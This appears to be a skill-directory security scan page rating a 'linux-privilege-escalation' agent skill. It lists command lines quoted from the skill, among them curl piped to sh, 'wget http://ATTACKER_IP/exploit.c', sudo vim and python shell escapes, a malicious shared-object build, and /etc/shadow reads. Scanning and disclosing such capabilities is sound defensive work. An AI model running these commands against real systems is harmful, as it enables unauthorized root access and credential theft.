← All skills
linux-privilege-escalation
79 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By ratnesh-maurya/cursor-claude-personas (GitHub) · coding · 12 stars · scanned at commit 975ca54
This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "ex...
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 30 places.
Show 17 more
- security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 121
ps aux - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 135
env - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 147
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 163
python3 -m http.server 8000 - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 176
uname -r - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 184
./linux-exploit-suggester.sh - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 202
wget http://ATTACKER_IP/exploit.c - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 216
sudo -l - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 224
sudo vim -c ':!/bin/bash' - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 233
sudo python -c 'import os; os.system("/bin/bash")' - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 259
gcc -fPIC -shared -o shell.so shell.c -nostartfiles - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 270
find / -type f -perm -04000 -ls 2>/dev/null - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 279
LFILE=/etc/shadow - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 295
base64 /etc/shadow | base64 -d > shadow.txt - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 307
openssl passwd -1 -salt new newpassword - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 318
getcap -r / 2>/dev/null - security-engineer/.claude/skills/linux-privilege-escalation/SKILL.md, line 325
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
and 10 more places
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Sends data to these websites: github.com, attacker_ip
This is disclosed by the author in the skill's SKILL.md or README.
Found in 3 places.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'linux-privilege-escalation' ] || [ -L ~/.agents/skills/'linux-privilege-escalation' ]; then echo 'A skill folder named linux-privilege-escalation already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/ratnesh-maurya/cursor-claude-personas' "$d" && git -C "$d" checkout --quiet '975ca54f3da3ac38a3d9b4b5673e83271d8e3495' -- 'security-engineer/.claude/skills/linux-privilege-escalation' && mkdir -p ~/.agents/skills && cp -R "$d"/'security-engineer/.claude/skills/linux-privilege-escalation' ~/.agents/skills/'linux-privilege-escalation' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'linux-privilege-escalation' ~/.claude/skills/'linux-privilege-escalation' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for ratnesh-maurya/cursor-claude-personas shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/ratnesh-maurya/cursor-claude-personas/)
Score history
| Date | Version | Score |
|---|
| 2026-11-12 | 975ca54 | 79 |
Also found in
Identical copies of this skill exist at:
- ratnesh-maurya/cursor-claude-personas/security-engineer/.cursor/skills/linux-privilege-escalation